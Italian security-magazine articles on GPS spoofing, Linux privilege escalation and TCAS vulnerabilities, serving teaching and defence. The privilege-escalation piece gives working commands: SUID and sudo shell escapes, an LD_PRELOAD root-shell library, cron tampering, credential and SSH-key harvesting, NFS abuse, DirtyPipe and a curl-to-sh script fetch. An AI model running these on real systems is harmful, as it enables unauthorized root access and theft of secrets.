Sul piano politico, i numeri sono eloquenti. La Lituania ha registrato oltre 1.000 casi di interferenza GPS nel solo mese di giugno 2025, ventidue volte in più rispetto allo stesso mese del 2024, secondo il regolatore delle comunicazioni del Paese. In Estonia, le autorità hanno riferito che l’85% dei voli ha subito interferenze. Nel gennaio 2026, 13 nazioni costiere del Baltico e del Mare del Nord più l’Islanda hanno pubblicato una lettera aperta alla comunità marittima internazionale denunciando la «crescente interferenza GNSS» come violazione del diritto internazionale, sollecitando azioni concrete di enforcement. Una risposta politica congiunta di una coalizione così ampia è rara nel dominio delle interferenze elettroniche: è la misura della gravità raggiunta dalla situazione.

Il dato commerciale sottostante è altrettanto rilevante: la regione del Baltico gestisce circa il 15% del cargo shipping mondiale. Non è una statistica astratta: è la misura di quanto del commercio globale transita attraverso rotte dove la navigazione satellitare è sistematicamente compromessa.

Tra i casi di maggiore visibilità istituzionale, il 1° settembre 2025 l’aeromobile della Presidente della Commissione Europea Ursula von der Leyen ha subito interferenze GPS nello spazio aereo bulgaro durante una visita ufficiale negli Stati membri orientali dell’UE. Le autorità bulgare hanno sospettato interferenze di origine russa. La portavoce della Commissione, Paula Pinho, ha dichiarato che «dall’inizio della guerra e dell’invasione russa dell’Ucraina, a partire dal febbraio 2022, vi è stato un aumento considerevole e molto evidente del jamming GNSS». In precedenza, anche l’aeromobile dell’allora Ministro della Difesa britannico Grant Shapps aveva subito interferenze nei pressi dell’exclave di Kaliningrad.

La dimensione industriale: logistica, supply chain e cargo crime

Il GPS spoofing non è solo un problema militare o aeronautico. È entrato, con effetti concreti e misurabili, nel circuito del crimine organizzato e della vulnerabilità commerciale.

Secondo i dati del National Insurance Crime Bureau statunitense (NICB), il valore del cargo rubato nel 2025 avrebbe registrato un aumento del 22%, con un pattern tecnologico ricorrente: ladri professionisti usano jammer GPS per impedire ai dispositivi di tracciamento dei container di comunicare la propria posizione fino a quando i marcatori non sono stati disattivati o rimossi.

In schemi più sofisticati, la combinazione di spoofing, VoIP e identità sintetiche consente di impersonare spedizionieri e clienti legittimi, manipolando l’intera filiera documentale di una consegna. Il 2026 Maritime Cyber Threat White Paper (CYTUR) segnala che gli incidenti informatici marittimi sono aumentati del 103% nel 2025 rispetto al 2024, con GPS spoofing e jamming in cima alla lista delle tecniche più impiegate nei corridoi ad alto rischio.

In Finlandia, alcune aree agricole risultano letteralmente incoltivabili con mezzi a guida GNSS (trattori e mietitrebbie) a causa della densità delle interferenze provenienti dalle installazioni di guerra elettronica russe lungo il confine. È un danno economico reale e quotidiano, che non colpisce un’infrastruttura critica in senso tradizionale ma il tessuto produttivo ordinario di un Paese.

Un incidente di carattere diverso, ma ugualmente rivelatore, si è verificato nel maggio 2025: la portacontainer MSC Antonia da 912 piedi si è incagliata sulle Eliza Shoals nei pressi del porto di Jedda, nel Mar Rosso. Le analisi successive, condotte dal vice presidente di Pole Star Global e da Windward AI, hanno attribuito il sinistro all’interferenza GPS che aveva alterato la posizione del navigatore di bordo. È il segnale che l’impatto del jamming si estende ben oltre le zone di conflitto attivo.

Come si rileva e come ci si difende

La sfida tecnica dello spoofing è asimmetrica: attaccare è relativamente economico e accessibile, difendersi richiede investimenti significativi in hardware, software e formazione. Un jammer di base costa poche centinaia di euro; le antenne CRPA (Controlled Reception Pattern Antennas), progettate per resistere a jamming e spoofing attraverso beamforming adattivo, hanno un costo ordini di grandezza superiore e richiedono processi di certificazione lunghi e complessi.

Come documentato nel nostro approfondimento sul rilevamento del GPS spoofing, le tecniche di detection disponibili sono molteplici ma ciascuna presenta limitazioni operative specifiche.

Le principali tecniche di detection e mitigation attualmente in uso o in sviluppo comprendono:

Inconsistency monitoring. Il confronto continuo tra la posizione GNSS e quella ricavata da sensori inerziali (INS), radioaiuti terrestri (VOR/DME) e dati ATC. Una discrepanza improvvisa è il segnale di allarme più immediato, ma richiede che il pilota o l’operatore stia attivamente monitorando fonti multiple. Sulle mappe di tracciamento marittimo, i pattern a crop circle sono l’indizio visivo più immediato di spoofing in atto.

Signal authentication con OSNMA di Galileo. Il meccanismo più promettente sul piano architetturale. Il 24 luglio 2025, EUSPA ha lanciato l’OSNMA (Open Service Navigation Message Authentication), un sistema che consente agli utenti civili di verificare l’autenticità dei dati ricevuti e rilevare eventuali manipolazioni in tempo reale. Il 9 settembre 2025, la Commissione Europea ha annunciato l’implementazione di un ulteriore servizio anti-spoofing con segnali cifrati per usi governativi e un servizio pianificato di monitoraggio e localizzazione delle interferenze a partire dal 2026. Il GPS americano, tuttavia, non include ancora tecnologie counter-spoofing nel suo programma corrente: implementare capacità di autenticazione per il segnale WAAS (Wide Area Augmentation System) dell’aviazione civile rimane una raccomandazione non ancora eseguita.

Multi-constellation receivers. L’utilizzo simultaneo di GPS, Galileo, GLONASS e BeiDou riduce significativamente la superficie d’attacco. Compromettere simultaneamente quattro costellazioni con frequenze diverse richiede risorse considerevolmente maggiori rispetto all’attacco su singola costellazione.

Machine learning per la detection distribuita. Sistemi come CMCU e RESIST, descritti in una ricerca NATO presentata nel 2025, combinano dati da sensori a terra e da costellazioni LEO per rilevare e localizzare emettitori di jamming e spoofing in tempo reale, anche in regioni prive di infrastruttura terrestre dedicata. La tecnica TDOA impiegata nello studio GPS Solutions del marzo 2026 ha dimostrato la fattibilità della localizzazione in tempo reale degli emettitori direttamente dal mare.

eLoran e sistemi terrestri di backup. Nel dicembre 2025, la Swedish Maritime Administration (Sjöfartsverket) ha attivato il primo di dieci beacon radio completamente terrestri, parte di un progetto di navigazione di riserva per le acque svedesi. Il sistema eLoran, evoluzione del vecchio LORAN-C, è considerato da molti esperti la soluzione di backup più matura e immediatamente scalabile, indipendente dalla costellazione satellitare. È un segnale significativo che sia la Russia (con il proprio sistema eChayka) sia la Cina (che nel 2024 ha completato una rete eLoran nazionale per le infrastrutture critiche) si siano già dotate di alternative proprie: chi usa il GPS come arma conosce le sue vulnerabilità.

La risposta internazionale: tra dichiarazioni e azioni concrete

Sul piano normativo e istituzionale, il 2025-2026 ha visto un’accelerazione significativa, sebbene ancora non proporzionale alla portata della minaccia.

Nel marzo 2025, ICAO, ITU e IMO hanno emesso una dichiarazione congiunta sulle interferenze GNSS come rischio per la sicurezza aeronautica e marittima: un’iniziativa senza precedenti nella sua dimensione tripartita. Nell’ottobre 2025, l’Assemblea ICAO ha approvato una risoluzione che condanna esplicitamente le interferenze GNSS provenienti da Russia e Corea del Nord come violazioni della Convenzione di Chicago del 1944. L’ITU ha nuovamente sollecitato la Russia a «cessare immediatamente» le interferenze che colpiscono i servizi di sicurezza in Estonia, Finlandia, Lettonia e Lituania.

Nel settembre 2025, il Dipartimento di Stato americano ha rimosso le antenne CRPA dalla lista ITAR (International Traffic in Arms Regulations), facilitandone l’esportazione e accelerandone potenzialmente la diffusione commerciale. La FAA ha rilasciato la GPS/GNSS Interference Resource Guide v1.1, raccomandando ai piloti procedure sistematiche di cross-check e training specifico sul riconoscimento delle anomalie GNSS. Nel giugno 2025, EASA e IATA hanno pubblicato congiuntamente un piano complessivo per mitigare i rischi da interferenza GNSS, articolato in quattro aree: miglioramento della raccolta dati, misure di prevenzione, gestione dello spazio aereo e coordinamento interistituzionale.

La realtà è che tra le risoluzioni internazionali e la capacità operativa di protezione resta ancora una distanza considerevole. Come ha osservato Todd Humphreys, professore di ingegneria aerospaziale all’Università del Texas e direttore del Radionavigation Laboratory, in un’intervista del 2025: «Ormai abbiamo ricevuto il nostro campanello d’allarme. È un imperativo indurire aviazione, navigazione marittima e telecomunicazioni contro il jamming e lo spoofing GPS».

Il volo 8243: quando il jamming diventa mortale

Tra tutti gli incidenti del periodo recente, quello che ha imposto il tema nell’agenda della sicurezza internazionale con la forza di una tragedia è il volo Azerbaijan Airlines J2-8243, un Embraer E190AR precipitato il 25 dicembre 2024 nei pressi di Aktau, in Kazakhstan, con 38 vittime su 67 persone a bordo.

Il volo era partito da Baku diretto a Grozny, in Russia. Alle 08:25 UTC, mentre l’aeromobile entrava nello spazio aereo russo nelle vicinanze di Grozny, l’equipaggio ha segnalato la perdita degli ausili GPS. I dati di Flightradar24 confermano interruzioni multiple delle trasmissioni ADS-B (che dipendono dal GPS per la posizione) e un periodo di trasmissione di posizione errata tra le 08:37 e le 08:40 UTC, coerente con un evento di spoofing. L’area di Grozny era soggetta a jamming elettronico intensivo da settimane, impiegato dalle autorità russe per contrastare gli attacchi di droni ucraini nella regione.

L’aeromobile, con i sistemi idraulici gravemente danneggiati da quello che le prove successivamente emerse (inclusi documenti militari russi trapelati nel luglio 2025 e riportati da Minval Politika e Ukrainska Pravda) indicano essere il colpo di un missile del sistema Pantsir-S1 russo, probabilmente scagliato in condizioni di identificazione degradata a causa delle interferenze ai segnali ADS-B, ha tentato avvicinamenti strumentali a Grozny in condizioni di meteo avverse, per poi deviare verso Aktau dove è precipitato in fase di atterraggio di emergenza. Il rapporto FAA aggiornato al 2026 cita esplicitamente il volo 8243 come caso di riferimento per l’interazione letale tra jamming GNSS, sistemi di difesa aerea e aviazione civile.

La dipendenza che non vediamo

C’è un tema che attraversa ogni discussione tecnica sul GPS spoofing e che raramente viene esplicitato con sufficiente chiarezza: la profondità della dipendenza delle infrastrutture moderne dal segnale satellitare va ben oltre la navigazione.

I sistemi GNSS non forniscono solo coordinate geografiche. Forniscono tempo. I mercati finanziari usano il timing GNSS per sincronizzare le transazioni ad alta frequenza. Le reti di telecomunicazione, incluse quelle mobili 4G e 5G, usano il segnale GPS come riferimento di sincronizzazione. Le reti elettriche smart grid dipendono dal PNT (Positioning, Navigation and Timing) per coordinare la distribuzione del carico. I sistemi di emergenza basano il loro instradamento su coordinate GNSS in tempo reale.

Uno spoofing efficace non disorienta solo una nave o un aereo: può introdurre drift temporali nei sistemi di clearing bancario, desincronizzare porzioni di rete mobile, alterare i log di sistema con timestamp falsificati. Una ricerca dell’Aerospace Corporation, citata nel report Secure World Foundation Global Counterspace Capabilities 2026, ha dimostrato che il jamming intenso sull’Ucraina ha creato «un buco gigante» nella copertura GPS per i piccoli satelliti in orbita LEO dotati di ricevitori di bordo. Per la prima volta nella storia documentata, l’interferenza terrestre ha compromesso il segmento spaziale stesso.

Conclusioni: il lusso finito della navigazione indisturbata

In un’intervista raccolta dalla CNN nel marzo 2026, il ricercatore Ramsey Faragher, coautore di un report pubblicato nel gennaio 2026 sull’impatto delle interferenze GNSS sulla sicurezza marittima, ha sintetizzato il momento storico con una precisione difficile da migliorare: «L’era lussuosa in cui quei segnali non venivano intenzionalmente manomessi è finita».

Il GPS spoofing non è una minaccia futura: è la condizione operativa presente di chiunque dipenda dalla navigazione satellitare in un arco geografico che va dall’Artico al Golfo Persico, dal Baltico al Mar Rosso. I dati del Rapporto IATA 2025, pubblicato il 9 marzo 2026, sono inequivocabili: spoofing +193%, jamming +67% rispetto al 2023. L’Operazione Epic Fury, ancora in corso nel Golfo Persico, sta producendo le interferenze GNSS più massicce mai documentate in un singolo teatro operativo.

La risposta non può essere monodimensionale. Richiede autenticazione dei segnali (OSNMA di Galileo è un passo avanti concreto; l’assenza di analoghi per il GPS americano è un ritardo critico), sistemi di navigazione ridondanti e multisorgente, formazione operativa sistematica degli equipaggi, standardizzazione internazionale delle procedure di reporting e una volontà politica, finora ancora insufficiente, di affrontare le responsabilità statali nelle interferenze sistematiche documentate.

Il segnale è fragile. La dipendenza è profonda. La consapevolezza, fortunatamente, sta finalmente crescendo. Ma tra consapevolezza e resilienza c’è ancora una distanza che l’industria, i regolatori e i governi sono chiamati a colmare con urgenza.

https://www.ictsecuritymagazine.com/articoli/gps-spoofing/

La fase di privilege escalation rappresenta uno dei principali fattori di rischio nei test di sicurezza moderni, spesso più determinante dell’accesso iniziale. È silenziosa, spesso automatizzabile, e si fonda quasi sempre su configurazioni errate che esistono di default in sistemi che non hanno mai ricevuto un hardening esplicito. Secondo il Rapporto Clusit 2025, l’Italia ha registrato 357 incidenti gravi nel 2024, con un incremento del 15,2% rispetto all’anno precedente, e il credential access rappresenta circa il 30% degli eventi rilevati, una base di partenza che rende la post-exploitation, inclusa la privilege escalation, un vettore critico in qualsiasi strategia di difesa.

Il problema che nessuno vuole vedere

C’è una fase del penetration test che molte organizzazioni continuano a sottovalutare. Non è l’accesso iniziale – ormai riconosciuto come critico anche dal management meno tecnico – ma ciò che accade dopo: la capacità di un attaccante di muoversi verticalmente all’interno di un sistema già compromesso, scalando da un account limitato fino ai privilegi di root.

La privilege escalation su Linux è esattamente questa fase. È silenziosa, spesso automatizzabile, e si fonda quasi sempre su configurazioni errate che esistono di default in sistemi che non hanno mai ricevuto un hardening esplicito.

Questo articolo analizza i vettori di escalation più ricorrenti nella pratica operativa del 2026, con riferimento alle tecniche documentate nei framework MITRE ATT&CK e PTES (Penetration Testing Execution Standard), e con i comandi effettivi utilizzati nei test autorizzati.

Contesto normativo: perché la privilege escalation è rilevante per la compliance

Prima di entrare nel merito tecnico, vale la pena inquadrare il tema in prospettiva normativa.

Il Digital Operational Resilience Act (DORA, Reg. UE 2022/2554), pienamente applicabile dal gennaio 2025 per le entità finanziarie europee, introduce l’obbligo di Threat-Led Penetration Testing (TLPT) basato sul framework TIBER-EU. Questi test richiedono la simulazione realistica di attacchi avanzati – incluse le tecniche di escalation dei privilegi – su sistemi in produzione.

Analogamente, la Direttiva NIS2 (recepita in Italia con il D.Lgs. 138/2024) richiede che le entità essenziali e importanti adottino misure “adeguate e proporzionate” ai rischi specifici identificati, ai sensi dell’Art. 21. La privilege escalation, in questo contesto, non è più una questione puramente tecnica: è un requisito di compliance.

La fase che precede tutto: l’enumerazione sistematica

Un errore frequente, anche tra penetration tester con esperienza, è saltare o comprimere la fase di enumerazione per arrivare più velocemente all’escalation. Il risultato è quasi sempre lo stesso: si perde tempo su vettori che non esistono, mentre quello reale è lì, evidente, in attesa di essere trovato metodicamente.

L’enumerazione di un sistema Linux post-compromissione segue un ordine preciso:

# Identità e contesto dell'utente corrente

id && whoami && groups

# Sistema operativo, versione kernel, architettura

uname -a && cat /etc/os-release && cat /proc/version

# Processi in esecuzione come root

ps aux | grep -v "^\[" | awk '{if($1=="root") print $0}'

# Servizi di rete in ascolto

ss -tulnp

# Scheduled tasks

cat /etc/crontab

ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/

crontab -l 2>/dev/null

# Binari con SUID impostato

find / -perm -4000 -user root -type f 2>/dev/null

# File scrivibili da utenti non privilegiati

find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys

Strumenti come unix-privesc-check automatizzano questa raccolta e producono un output strutturato che evidenzia le anomalie più significative. Tuttavia, l’automazione non sostituisce la comprensione: un enumeratore automatico può segnalare centinaia di potenziali problemi, ma solo la lettura critica distingue un falso positivo da un vettore reale.

Vettore 1: abuso di binari SUID

Il bit SUID (Set User ID) è un meccanismo del filesystem Unix che permette a un eseguibile di girare con i privilegi del suo proprietario, indipendentemente dall’utente che lo lancia. Quando un binario è di proprietà di root e ha il SUID impostato, chiunque lo esegua acquisisce temporaneamente i privilegi di root per la durata dell’esecuzione.

find / -perm -4000 -user root -type f 2>/dev/null

Il database GTFOBins (gtfobins.github.io) documenta ogni binario Linux noto che può essere sfruttato per l’escalation quando ha SUID impostato. Alcuni esempi pratici:

# find con SUID impostato

/usr/bin/find . -exec /bin/sh -p \; -quit

# python3 con SUID

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# vim con SUID impostato — caso SUID puro (non sudo)

./vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# Nota: il classico ':!/bin/bash' funziona via sudo ma non preserva l'EUID nel caso SUID puro

# bash con SUID — accesso root immediato

bash -p

Questo vettore è classificato nel framework MITRE ATT&CK come T1548.001 (Abuse Elevation Control Mechanism: Setuid and Setgid). La sua rilevazione richiede audit periodici dei permessi dei binari, idealmente integrati in pipeline di configuration management.

Vettore 2: configurazioni errate di sudo

Il comando sudo è probabilmente la fonte più ricca di vettori di privilege escalation nei sistemi Linux aziendali.

sudo -l

Le misconfigurazioni più frequenti includono:

NOPASSWD su binari che consentono escape di shell

Configurazioni come:

(ALL) NOPASSWD: /usr/bin/vim

(ALL) NOPASSWD: /usr/bin/less

(ALL) NOPASSWD: /usr/bin/python3

Qualsiasi di questi binari, quando eseguito con sudo, permette di lanciare una shell come root:

sudo vim -c ':!/bin/bash'

sudo less /etc/hosts   # poi digita !bash

sudo python3 -c 'import os; os.system("/bin/bash")'

Preservazione di LD_PRELOAD

Quando /etc/sudoers contiene env_keep+=LD_PRELOAD, è possibile iniettare una libreria condivisa appositamente costruita:

// privesc.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void _init() {

unsetenv("LD_PRELOAD");

setresuid(0, 0, 0);  // copre RUID, EUID e SUID

system("/bin/bash -p");

}

gcc -fPIC -shared -nostartfiles -o /tmp/privesc.so privesc.c

sudo LD_PRELOAD=/tmp/privesc.so <qualsiasi_binario_consentito>

Wildcard nei percorsi

Regole come (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py sono aggirabili:

echo 'import os; os.system("/bin/bash")' > /opt/scripts/exploit.py

sudo /usr/bin/python3 /opt/scripts/exploit.py

Vettore 3: cron job scrivibili

I task pianificati eseguiti come root che referenziano script scrivibili da utenti non privilegiati rappresentano un vettore silenzioso e affidabile.

cat /etc/crontab

ls -la /etc/cron.d/

cat /var/spool/cron/crontabs/root 2>/dev/null

Se un cron job di root esegue /opt/backup.sh e quel file è scrivibile:

ls -la /opt/backup.sh

# -rwxrwxrwx 1 root root

echo 'chmod +s /bin/bash' >> /opt/backup.sh

# Dopo l'esecuzione del cron:

bash -p

# root

Vettore 4: credenziali nei file di configurazione

Nei test su ambienti di produzione reali, questo è statisticamente il vettore con il tasso di successo più elevato.

# Cronologia dei comandi

cat ~/.bash_history

cat /root/.bash_history 2>/dev/null

# File di configurazione applicativi

grep -r "password\|passwd\|secret\|token\|api_key" /var/www/ 2>/dev/null

find /var/www -name ".env" -exec cat {} \; 2>/dev/null

# Chiavi SSH private

find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

# Variabili d'ambiente dei processi

cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i
"pass\|secret\|key\|token"

Le credenziali trovate nelle applicazioni web sono spesso riutilizzate dall’amministratore di sistema anche per l’account root. Per le tecniche di sfruttamento delle chiavi SSH trovate durante questa fase esistono guide tecniche dedicate che coprono i workflow operativi completi, incluse le metodologie di SSH key hunting documentate da HackIta.

Vettore 5: NFS con no_root_squash

Le condivisioni NFS configurate con no_root_squash in /etc/exports permettono a un utente root su un sistema remoto di operare come root sui file della condivisione montata.

cat /etc/exports

# Esempio vulnerabile:

# /data *(rw,no_root_squash,sync)

# Dal sistema dell'attaccante (come root):

mount -t nfs <target_ip>:/data /tmp/nfsmount

cp /bin/bash /tmp/nfsmount/rootbash

chmod +s /tmp/nfsmount/rootbash

# Sul sistema target:

/data/rootbash -p

# uid=0(root)

Vettore 6: exploit del kernel, ultima risorsa

uname -r

searchsploit linux kernel <versione>

DirtyPipe (CVE-2022-0847), colpisce i kernel dalla 5.8 fino alle versioni immediatamente precedenti alle release in cui la patch è stata distribuita: 5.16.11, 5.15.25 e 5.10.102. I kernel della serie 5.10 e 5.15 antecedenti a queste release sono quindi vulnerabili, non solo quelli della serie 5.16:

gcc -o dirtypipe dirtypipe.c

./dirtypipe /etc/passwd

Queste tecniche devono essere utilizzate esclusivamente in contesti autorizzati e controllati, mai in ambienti di produzione senza esplicita autorizzazione documentata.

Automazione: LinPEAS per assessment ad alta velocità

# Esecuzione diretta

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee /tmp/linpeas_output.txt

I risultati in rosso/giallo indicano alta probabilità di escalation e richiedono analisi manuale approfondita.

Prioritizzazione dei vettori di privilege escalation

Vettore	Affidabilità	Rumore	Impatto sistema	Priorità
Credenziali nei file	Alta	Nessuno	Nessuno	1
sudo misconfiguration	Molto alta	Basso	Minimo	2
SUID binary abuse	Alta	Basso	Minimo	3
Cron job scrivibili	Alta	Nessuno	Minimo	4
NFS no_root_squash	Media	Basso	Minimo	5
Kernel exploit	Variabile	Alto	Potenzialmente alto	6

Mitigazioni: cosa implementare concretamente

Audit periodico dei permessi SUID/SGID, identificare e rimuovere il bit SUID da tutti i binari che non lo richiedono esplicitamente. Integrare questa verifica in pipeline CI/CD o tool di configuration management come Ansible o Puppet.

Review delle policy sudo: applicare il principio del minimo privilegio. Evitare NOPASSWD su binari che permettono escape di shell. Considerare l’uso di Cmnd_Alias per limitare precisamente le operazioni consentite.

Protezione delle credenziali: adottare strumenti di secret management (HashiCorp Vault, AWS Secrets Manager) per eliminare le credenziali in chiaro dai file di configurazione. Implementare la rotazione automatica delle credenziali di servizio.

Configurazione sicura di NFS: rimuovere no_root_squash da tutte le esportazioni. Limitare le esportazioni agli IP strettamente necessari tramite host list esplicite.

Patch management sistematico: mantenere i kernel aggiornati con policy di patching proporzionate al rischio e documentate nelle policy interne, come richiesto dall’approccio “adeguato e proporzionato” dell’Art. 21 NIS2. Per le vulnerabilità critiche con exploit pubblico disponibile, la finestra temporale dovrebbe essere la più breve possibile.

Monitoring delle attività di escalation: implementare regole SIEM per rilevare pattern anomali: esecuzione di comandi come root da utenti non privilegiati, accessi inusuali a /etc/passwd o /etc/shadow, montaggio di share NFS da host non autorizzati.

Conclusione

La privilege escalation su Linux non è un problema di exploit sofisticati o vulnerabilità zero-day. È un problema di configurazione, e le configurazioni errate che la rendono possibile esistono, in forme diverse, nella grande maggioranza dei sistemi Linux mai sottoposti a hardening esplicito.

Nel contesto normativo europeo del 2026 – con DORA operativo per le entità finanziarie e NIS2 che estende i requisiti di testing a un perimetro molto più ampio di organizzazioni – la comprensione di questi vettori non può più essere limitata ai team di offensive security. È una conoscenza che deve permeare i team di IT operations, i security architect e i responsabili della compliance.

La vera domanda non è se questi vettori esistano, ma chi li individuerà per primo.

Fonti

A cura del team di HackIta (https://hackita.it), risorsa italiana di ethical hacking, penetration testing e sicurezza delle reti.

https://www.ictsecuritymagazine.com/articoli/privilege-escalation/

Alla 14ª edizione della Cyber Crime Conference, ospitata a Roma il 6 e 7 maggio 2026 nell’Auditorium della Tecnica, il Prof. Alessio Merlo, Direttore del Centro Alti Studi per la Difesa (CASD, Scuola Superiore Universitaria), ha presentato i risultati di una ricerca condotta dal CASD insieme all’Università di Genova sulle vulnerabilità del Traffic Collision Avoidance System (TCAS), il sistema anticollisione obbligatorio sugli aerei di linea.

L’intervento, intitolato «Breaking TCAS: vulnerabilità e attacchi nella sicurezza aerea», si è mosso su due piani: da un lato l’illustrazione di due distinte vulnerabilità del protocollo TCAS, dall’altro la formulazione di un’ipotesi tecnicamente motivata per spiegare l’incidente avvenuto il 1° marzo 2025 lungo la traiettoria di avvicinamento all’Aeroporto Ronald Reagan di Washington (DCA).

Il contesto: ATC, radar secondario e TCAS

Il controllo del traffico aereo poggia sulla torre di controllo (Air Traffic Control, ATC), che gestisce gli atterraggi tramite il radar primario. Quando un aereo si trova lontano dall’aeroporto, entra in gioco un secondo livello di sorveglianza: il radar secondario, basato sullo scambio di segnali radio in radiofrequenza fra aeromobili. Misurando il tempo di risposta in funzione della velocità della luce, ogni velivolo stima la distanza e la posizione degli altri aerei nelle vicinanze.

Al di sopra del radar secondario opera il TCAS, introdotto circa quarant’anni fa e considerato l’ultima barriera per la prevenzione delle collisioni. Funziona in modo autonomo e genera due tipologie di allerta:

• Traffic Advisory (TA): avviso visivo al pilota della presenza di un altro aereo, con l’indicazione della posizione e dell’altitudine.
• Resolution Advisory (RA): manovra evasiva automatica e coordinata fra due velivoli in rotta di collisione (uno sale, l’altro scende).

Come ha sottolineato Merlo, il protocollo TCAS è stato progettato in un’epoca in cui la cybersecurity non era una priorità di design: non prevede autenticazione, né controllo di integrità, né cifratura.

Iniettare aerei falsi: la prima vulnerabilità

Nel 2023 il gruppo di ricerca del CASD e dell’Università di Genova ha cominciato a studiare la possibilità di iniettare contatti aerei falsi sul radar di un velivolo bersaglio, fino a indurlo a generare TA e RA reali.

L’unica protezione fisica del protocollo era il ritardo fisso di 128 microsecondi previsto dalla modalità Modo S: per far comparire un aeromobile a una distanza più prossima all’aereo sotto attacco rispetto alla posizione reale dell’attaccante, quest’ultimo avrebbe dovuto rispondere a un’interrogazione in tempi più brevi di tale ritardo, anticipando di fatto la risposta legittima. Storicamente, questa barriera temporale aveva reso l’attacco irrealizzabile con hardware comune.

I ricercatori hanno dimostrato che l’evoluzione dell’hardware Software Defined Radio (SDR) ha riscritto lo scenario: oggi l’attacco è realizzabile con apparati dal costo di circa 10.000 euro e funziona fino a 5 chilometri di distanza dall’aereo bersaglio, una portata particolarmente critica nelle fasi di atterraggio.

Disabilitare le RA: l’exploit del Sensitivity Level

La seconda vulnerabilità individuata riguarda il Sensitivity Level (SL), il parametro che regola la soglia di attivazione delle Resolution Advisory. Lo standard prevede che il valore di SL possa essere modificato dalle stazioni di terra in scenari operativi complessi, come gli avvicinamenti in aree congestionate.

Un attaccante può falsificare il comando di terra e impostare SL=0, disabilitando completamente la generazione di RA: il TCAS continua a emettere TA, ma non produce più la manovra evasiva automatica. Il ripristino richiede il riavvio del sistema, un’operazione tutt’altro che banale in volo.

La timeline della responsible disclosure

La scoperta delle vulnerabilità ha innescato un articolato iter di responsible disclosure, che ha coinvolto le United Nations (UN), l’European Union Aviation Safety Agency (EASA), la Federal Aviation Administration (FAA), l’Ente Nazionale per l’Aviazione Civile (ENAC), l’Agenzia per la Cybersicurezza Nazionale (ACN) e il Comando per le Operazioni in Rete (COR).

Le tappe principali:

• Giugno 2023: scoperta delle vulnerabilità.
• Febbraio 2024: sottomissione dell’articolo scientifico.
• Maggio 2024: accettazione del paper.
• Agosto 2024: presentazione a USENIX Security 2024 (Longo, Strohmeier, Russo, Merlo, Lenders, «On a Collision Course: Unveiling Wireless Attacks to the Aircraft Traffic Collision Avoidance System»).
• Gennaio 2025: pubblicazione dell’ICS Advisory CISA, con assegnazione di due CVE.
• Aprile 2025: comunicato stampa e diffusione mediatica, con oltre 60 apparizioni su testate nazionali, regionali e locali.

L’advisory CISA e la valutazione del rischio

Il bollettino ICS della CISA, pubblicato a gennaio 2025, ha ufficializzato le due vulnerabilità:

• CVE-2024-11166 (Sensitivity Level): mitigabile aggiornando gli apparati alla versione ACAS X o il transponder allo standard RTCA DO-181F.
• CVE-2024-9310 (protocollo TCAS): nessuna mitigazione disponibile.

Il documento accompagnava la pubblicazione con una valutazione del rischio improntata alla prudenza: «These vulnerabilities in the TCAS II standard are exploitable in a lab environment. However, they require very specific conditions to be met and are unlikely to be exploited outside of a lab setting». La storia, come si vedrà, ha messo in discussione questa rassicurazione nel giro di poche settimane.

1° marzo 2025: l’incidente di Washington DCA

Il 1° marzo 2025, in una mattinata di buona visibilità, lungo la traiettoria di avvicinamento alla pista 19 dell’Aeroporto Ronald Reagan di Washington sono state registrate numerose segnalazioni di TCAS TA e RA. Gli eventi si sono susseguiti per circa tre ore, dalle 11:10 alle 14:10 UTC.

A oggi la Federal Aviation Administration non ha fornito alcuna spiegazione ufficiale. Le uniche risposte istituzionali sono arrivate da due deputati USA, Rick Larsen e Bennie G. Thompson, Ranking Members delle Commissioni Trasporti e Sicurezza Interna: in una lettera al Congresso del 14 aprile 2025, i due hanno attribuito il «disturbo» a sistemi anti-drone (C-UAS) del Secret Service. L’ipotesi presenta tuttavia un’incongruenza tecnica evidente: i droni non sono dotati di TCAS, e un sistema anti-drone non dovrebbe pertanto interferire con il protocollo TCAS degli aerei di linea.

L’analisi da fonti aperte

Incrociando annunci di posizione, annunci RA e comunicazioni radio reperibili in fonti aperte, il team di Merlo ha ricostruito gli elementi quantitativi dell’evento:

• 10 aerei coinvolti, di cui 8 con RA e 3 con go-around (atterraggio abortito).
• 5 km di visibilità orizzontale.
• Singolo intruso a quota fissa di circa 700 metri, non rilevato né dall’ATC né visivamente dai piloti.
• Trasmissione in Modo C (tecnologia legacy rispetto al Modo S), che riporta solo la quota e non la posizione.
• Distanza media indicata dagli annunci RA: circa 400 metri.
• Direzione: tra 315° e 345°, corrispondente a «ore 11» rispetto ai velivoli coinvolti.

L’analisi geometrica delle distanze restituisce un esito controintuitivo: ogni aereo sembra avere il proprio intruso che si muove insieme a esso. Un oggetto in volo con tali caratteristiche sarebbe stato impossibile da non rilevare, sia strumentalmente sia visivamente. L’ipotesi più plausibile resta quindi quella di un trasmettitore fisso a terra che inietta contatti falsi tramite il Modo C.

Replicare l’attacco sul Modo C

Per verificare la fattibilità tecnica dell’ipotesi, i ricercatori hanno replicato l’attacco di iniezione sul Modo C, dove il ritardo fisso di riferimento scende a soli 3 microsecondi, contro i 128 del Modo S. Il modello SDR da 10.000 euro a quel punto non è più sufficiente: serve un’implementazione su RFSoC (FPGA, front end RF e CPU ARM/Linux), con un costo dell’ordine di 80.000-90.000 euro.

L’attacco è stato validato fino a una distanza massima di circa 2 chilometri e certificato con il test set avionico Aeroflex IFR6000, utilizzato in ambito industriale per la verifica dei TCAS reali.

Geolocalizzare il trasmettitore: il metodo Sequential Monte Carlo

Dimostrata la fattibilità tecnica, restava da capire se i dati pubblici dell’incidente DCA fossero compatibili con un trasmettitore fisso a terra e, in tal caso, dove fosse collocato.

I ricercatori hanno sviluppato un metodo probabilistico basato su Sequential Monte Carlo per stimare la posizione di un trasmettitore fisso a partire dalle osservazioni registrate. Il metodo è stato validato preventivamente su 300.000 scenari sintetici comparabili o superiori al caso DCA, con i seguenti risultati:

• Identificazione corretta della sorgente fissa nel 95% dei casi.
• Errore medio di circa 855 metri.
• Tempo di esecuzione medio di circa 8 secondi.
